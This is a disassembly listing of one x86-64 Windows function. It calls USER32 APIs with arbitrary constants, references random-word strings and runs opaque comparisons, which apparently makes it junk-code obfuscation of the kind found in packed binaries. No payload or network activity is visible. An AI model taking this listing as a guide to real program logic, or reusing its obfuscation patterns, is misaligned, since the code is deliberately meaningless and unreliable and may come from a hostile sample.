mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x64], al
jmp 0x1401422c7
mov rax, qword [rsp + 0x61c8]
shl rax, 0xfd
cmp rax, qword [0x1401c02c0]
jg 0x1401422c7
mov ecx, 0x69
call qword [sym.imp.USER32.dll_GetSysColor]
mov dword [rsp + 0x35c4], eax
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x3524]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x350c]
jge 0x14014233c
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3588], eax
mov rax, qword [rsp + 0x6118]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x61c8]
movzx r8d, byte [rsp + 0x63]
mov rax, qword [rsp + 0x60f8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6118]
movzx ecx, byte [rax]
call fcn.140143410
nop
jmp 0x1401423c2
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6180]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6078]
mov rdx, qword [rsp + 0x6058]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1401423c2
lea rcx, str.Polymers_despondent_Contorts_sureness_Ancillary
call qword [sym.imp.USER32.dll_CharUpperW]
mov qword [rsp + 0x6280], rax
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa9c], ax
jmp 0x140142470
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x6044], al
cmp byte [rsp + 0x6044], 0x12
je 0x1401423df
jmp 0x140142410
mov rax, qword [rsp + 0x6118]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [0x1401c02c0]
movzx r8d, byte [rsp + 0x61]
mov rdx, qword [rsp + 0x6078]
movzx ecx, byte [rsp + 0x62]
call fcn.140143410
nop
jmp 0x140142470
movsx eax, byte [rsp + 0x62]
movsx ecx, byte [rsp + 0x60]
xor eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov qword [rsp + 0x6198], rax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xaa8], ax
movzx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
movsx eax, word [rsp + 0xa9c]
movsx ecx, word [rsp + 0xab4]
add eax, ecx
mov word [0x1401c16d0], ax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x6048], al
cmp byte [rsp + 0x6048], 0x2f
je 0x1401424a1
jmp 0x1401424c1
mov r8d, 0xe0
mov edx, 0xe6
lea rcx, [rsp + 0x359c]
call qword [sym.imp.USER32.dll_InflateRect]
mov dword [rsp + 0x35b8], eax
mov rax, qword [rsp + 0x60f8]
mov r9, qword [rax]
mov r8, qword [rsp + 0x6180]
mov rdx, qword [rsp + 0x6180]
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rax]
call fcn.140142c60
nop
jmp 0x1401425d6
mov eax, dword [rsp + 0x350c]
mov dword [rsp + 0x604c], eax
cmp dword [rsp + 0x604c], 0x31ea
je 0x140142512
jmp 0x1401425a3
movsx eax, byte [rsp + 0x60]
sub eax, 0x5c
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, byte [rsp + 0x61]
cmp eax, 0x32
jne 0x140142584
mov eax, dword [rsp + 0x3588]
mov ecx, dword [rsp + 0x351c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3508], eax
mov ecx, 0xef
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [rsp + 0xab0], ax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x20], al
mov r9d, 0x20
movzx r8d, byte [rsp + 0x61]
mov rdx, qword [rsp + 0x6078]
movzx ecx, byte [rsp + 0x60]
call fcn.140143410
nop
jmp 0x1401425a3
movzx eax, byte [rsp + 0x61]
add eax, 0x94
cmp eax, 0x2d
jg 0x1401425a3
movzx eax, word [rsp + 0xa9c]
mov word [rsp + 0xab0], ax
mov eax, dword [rsp + 0x3524]
mov ecx, dword [rsp + 0x350c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
xor r8d, r8d
mov edx, SHSetInstanceExplorer
mov ecx, ILGetNext
call qword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [rsp + 0x359c], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaa8]
or eax, ecx
movsx ecx, word [0x1401c16d0]
mov dword [rsp + 0x6050], ecx
movsx edx, word [rsp + 0xa9c]
movzx ecx, dl
mov edx, dword [rsp + 0x6050]
shl edx, cl
mov ecx, edx
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
and eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov r9d, 0x44
mov r8d, 0xe2
lea rdx, [rsp + 0x3560]
mov rcx, qword [rsp + 0x6060]
call qword [sym.imp.USER32.dll_DrawEdge]
mov dword [rsp + 0x35b8], eax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
add eax, ecx
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6078]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
lea r8, [rsp + 0x6098]
mov edx, ILGetNext
mov rcx, qword [rsp + 0x6328]
call qword [sym.imp.USER32.dll_GetScrollInfo]
mov dword [rsp + 0x35b8], eax
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xaa4]
sar eax, cl
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaa8]
or eax, ecx
mov word [rsp + 0xa9c], ax
mov eax, dword [rsp + 0x3518]
mov dword [rsp + 0x6054], eax
cmp dword [rsp + 0x6054], 0x63f2
je 0x14014270f
jmp 0x140142756
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3524]
xor ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x3518]
jne 0x140142747
lea rdx, str.Parachutists_Surroundings_seductively_furniture
mov rcx, qword [rsp + 0x60c0]
call qword [sym.imp.USER32.dll_GetPropW]
mov qword [rsp + 0x1cfb0], rax
mov ecx, dword [rsp + 0x3524]
call fcn.1401427f0
nop
jmp 0x140142762
movzx eax, byte [rsp + 0x61]
shl eax, 2
mov byte [rsp + 0x61], al
jmp 0x140142787
mov r9d, 0x37
mov r8b, 6
mov edx, 0x8f
mov rcx, qword [rsp + 0x6328]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov dword [rsp + 0x3608], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov word [rsp + 0xaa8], ax
mov ecx, 0xe7
call qword [sym.imp.USER32.dll_LockSetForegroundWindow]
mov dword [rsp + 0x3608], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3508]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401c02b8], eax
mov eax, dword [rsp + 0x474c]
add rsp, 0x1dc48
pop rdi
pop rsi
ret